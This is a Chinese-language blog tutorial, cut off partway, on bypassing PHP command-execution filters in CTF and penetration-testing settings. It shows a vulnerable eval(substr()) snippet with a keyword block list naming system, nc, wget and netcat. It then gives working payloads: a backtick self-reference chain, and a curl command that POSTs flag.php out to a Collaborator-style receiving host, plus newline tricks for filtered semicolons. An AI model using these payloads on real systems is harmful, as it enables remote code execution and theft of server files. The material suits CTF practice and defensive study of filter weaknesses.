PHP命令执行花式绕过指南:从base64到三角函数的极限操作
在CTF竞赛和实际渗透测试中,命令执行漏洞的利用往往需要面对各种过滤机制。本文将深入探讨五种非常规绕过技术,从基础的编码转换到三角函数拼接的骚操作,每个技巧都配有可复现的靶场示例。
1. 变量覆盖与截断的艺术
当遇到字符长度限制时,变量覆盖可能是突破口。考虑以下典型场景:
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}
}
突破方案:
-
利用变量自引用构造链式执行:
?F=`$F`;sleep 3- 实际执行流程:
eval(substr("`$F`;sleep 3",0,6)); // 执行`$F` `$F` => `\`$F\`;sleep 3` // 最终执行sleep
- 实际执行流程:
-
结合curl外带数据:
?F=`$F`;curl -X POST -F xx=@flag.php http://collaborator.url注意:需要将Burp Collaborator地址替换为实际接收服务器
实战变种:
- 当分号被过滤时,可用
%0a换行符替代 - 反引号被禁用时可尝试

226

被折叠的 条评论
为什么被折叠?



